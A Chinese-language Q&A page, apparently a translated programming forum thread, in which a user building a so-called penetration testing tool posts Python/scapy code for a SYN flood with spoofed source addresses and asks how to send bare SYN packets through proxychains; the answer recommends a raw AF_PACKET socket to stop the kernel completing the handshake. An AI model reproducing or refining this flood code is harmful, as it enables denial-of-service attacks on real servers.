如何解决:带有SYN标志的已定义数据包,并通过PSH和ACK标志进行发送

问题描述 投票:0回答:1

我正在编写一个执行SYN Flood攻击的渗透测试工具。在我尝试使用自己的套接字加快数据包发送速度之前,攻击完全可以进行:

import socket
import scapy
silva = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#silva.connect((destinationnew, targetport)) With this the attack does not work
silva.send(bytes(IP(dst = str(destinationnew), src = str(Ip_range), ttl=int(random.randint(80, 254)))/TCP(dport = int(targetport), sport = int(random.randint(1024, 65535)), flags = "S")))

该脚本自动执行三向握手,然后发送PSH,ACK数据包

->我希望脚本使用套接字在以后通过代理链运行它,但是我不知道如何建立一个套接字,通过该套接字我只能发送SYN数据包。

python sockets tcp scapy
1个回答
0
投票

您正在尝试在常规TCP流之外执行一些底层操作,因此您需要使用原始套接字:

silva = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
silva.bind(("en0", 0)) # or eth0 or whatever your interface is

然后发送SYN数据包,TCP机器将不会接管并执行ACK和其他您不想要的事情。

注意,您可能需要在本地操作系统上具有一些其他权限才能启用原始套接字创建。

© www.soinside.com 2019 - 2024. All rights reserved.